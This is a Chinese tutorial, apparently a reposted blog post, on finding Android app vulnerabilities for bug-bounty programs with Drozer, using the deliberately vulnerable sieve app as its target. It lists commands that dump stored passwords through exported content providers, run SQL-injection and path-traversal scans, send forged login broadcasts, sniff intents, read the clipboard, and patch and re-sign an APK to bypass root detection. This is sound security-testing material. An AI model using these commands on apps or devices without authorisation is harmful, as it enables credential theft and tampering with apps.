如何挖掘SRC漏洞平台移动端Android漏洞技巧和教程
介绍
在测试漏洞的时候除了移动端逻辑漏洞别的我们可以使用drozer进行自动化去跑测试,会点Python脚本的可以把所需要的drozer命令封装成一个批量脚本达到全自动化的drozer测试输出结果报告,挖掘SRC会更效率。
本篇文章包含了可以与Drozer一起使用的命令列表,Drozer是一个用于测试Android应用程序的工具。 大部分的命令都是针对MWR Infosecurity开发的一个名为sieve(com.mwr.example.sieve)的Android应用实例进行的。Drozer和sieve都可以从https://labs.f-secure.com/tools/drozer/ 下载。
这些命令根据它们的作用被分为不同的类别。
基础知识
要查找已安装的应用程序的软件包名称
dz> run app.pack.list -f Sieve
获取应用程序的清单
dz> run app.package.manifest com.mwr.example.sieve
获取攻击面
dz> run app.package.attacksurface com.mwr.example.sieve
检查可导出的活动
dz> run app.activity.info -a com.mwr.example.sieve
检查launchintent(主要活动)
dz> run app.pack.launchintent com.mwr.example.sieve
调用可导出的活动
dz> run app.activity.start --component <package_name> <full_activity_name>
检查导出的内容提供商
dz> run app.provider.info -a com.mwr.example.sieve
查找内容URI
dz> run app.provider.finduri com.mwr.example.sieve
如果在导出的内容提供者中找到了URI路径,那么使用下面的命令运行该路径以找到有用的数据,(在筛选中,所有的密码都被转储)。
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/passwords
在内容提供者数据库中插入条目
dz> run app.provider.insert content://com.mwr.example.sieve.DBContentProvider/passwords --integer _id 3 --string service Facebook --string username tyrone --string password zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com
查找具有特定权限的应用程序
dz> run app.package.list -p android.permission.INSTALL_PACKAGES
查找以特定UID运行的应用程序,在本例中,系统
dz> run app.package.list -u 1000
寻找查看特定mime类型的应用程序
dz> run app.activity.forintent --action android.intent.action.view --mimetype application/pdf
查找设备上所有可浏览的活动
dz> run scanner.activity.browsable
提示
要找到启动活动的名称,请检查应用程序的manifest或使用drozer中的app.package.launchintent模块。你也可以使用theapp.activity.start模块从drozer启动主活动。 通过 **(((android:targetActivity)))=".someactivity"**来寻找代理活动。 搜索filterTouchesWhenObscured来查找是否容易被tapjacking。 尝试访问/Keys/而不是/Keys,它有时会绕过内容URI的模式匹配。
SQLi漏洞
SQLi关于使用projection参数连接到DB的内容提供者的问题。
|
|
在内容提供商上自动执行SQLi
dz> run scanner.provider.sqltables -a content://com.mwr.example.sieve.DBContentProvider/passwords
用于启动本地主机服务器以显示内容提供者和运行类似sqlmap的工具。
dz> run auxiliary.webcontentresolver -p 9999
对设备上的所有内容提供商进行自动SQLi扫描。
dz> run scanner.provider.injection
遍历
使用内容提供者读取外部文件
|
|
在目录中遍历/筛选数据库
>dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts。
自动遍历
>dz> run scanner.provider.traversal -a content://com.mwr.example.sieve.FileBackupProvider
可供阅读:https://www.sh4ka.fr/android/galaxys3/from_0perm_to_INSTALL_PACKAGES_on_galaxy_S3.html#_tl_dr
利用服务
获取服务
dz> run app.service.info -a com.mwr.example.sieve。
在sieve中利用handleMessage()函数(AuthService服务的代码分析)
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj。
在上述要求中,PIN 1337可以被强制执行
利用CryptoService加密一个消息
dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3 --extra string com.mwr.example.sieve.KEY testpassword --extra string com.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-obj
在–msg中传递的参数是额外参数。分析代码,使用其中提到的参数,并增加额外的参数,直到完成3个参数。–msg期望有三个参数。
利用广播接收器
获取广播接收器
dz> run app.broadcast.info -a com.mwr.example.browser
如果一个应用程序希望广播接收器能够捕捉到一个意图,然后显示经过认证的活动,该广播的生成只有在登录后才有可能。但经过代码审查,攻击者可以使用drozer手动发送该意图。 广播接收器的样本。
<receiver android:name=".LoginReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.myapp.CORRECT_CREDS" />
</intent-filter>
</receiver>
使用的命令
dz> run app.broadcast.send --action com.myapp.CORRECT_CREDS
(Page 217 - MAHH)
意图嗅探/使用广播接收器捕捉意图,而这些意图是为其他广播接收器准备的。
dz> run app.broadcast.sniff --action android.intent.action.BATTERY_CHANGED
dz> run app.broadcast.sniff --action com.myapp.USER_LOGIN (发送广播的动作名称)
其他命令
使用drozer模块查找WebView是否可被利用。
dz> run scanner.misc.checkjavascriptbridge -a com.vulnerable.js
从剪贴板查看复制的文本
dz> run post.capture.clipboard
查找应用程序是否允许其数据备份
dz> run app.pack.backup -f com.mwr.example.sieve
找出一个包是否可以调试。
dz> run app.pack.debuggable -f sieve
如果可以调试,你可以以该程序的身份运行命令。
shell@android:/ $ run-as com.mwr.example.sieve
反编译/编译/签名apk
使用apktool将app转换为baksmali。
$ java -jar apktool.jar d com.joeykrim.rootcheck.apk rootcheck
然后用grep查找类似 “su “这样的字符串来绕过root检查(发挥你的想象力)。
再次编译应用程序。
$ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk
对apk进行签名。
$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystoremykey.keystore rootcheck-modified.apk alias_name.
注:使用jarsigner v1.6,用以下方法改变版本。
$ sudo update-alternatives --config jarsigner
其他技巧
在源代码中寻找openOrCreateDatabase()函数,它是SQLCipher用来存储密钥来加密DB的。
SQLiteDatabase database = SQLiteDatabase.openOrCreateDatabase(databaseFile, “test123”, null)。
检查代码中的onReceivedSslError.函数,它告诉WebView忽略SSL错误并继续连接。可以被攻击者用来读取或完全改变显示给用户的内容。
寻找setAllowUniversalAccessFromFileURLs选项设置为true,可以让攻击者在WebViews内加载其文件。
经常在代码中寻找WebView或addJavaScriptInterface关键字,可以用来进一步利用。
学习安卓逆向的途径
-
多逛吾爱破解,看雪论坛的移动安全版本的帖子。
-
多动手去逆向应用分析应用。
-
系统化的学习路径可以参考《教我兄弟学Android逆向系列课程+附件导航帖》
-
书籍推荐《Android安全软件权威指南》,《Android应用安全防护和逆向分析》两本书足够了,如何选择自己可以看书的评论和目录根据自己喜欢去选。
- 原文作者:码中春秋
- 原文链接:https://blog.taielab.com/2020-09-09/src-bugbounty-andorid.html
- 版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。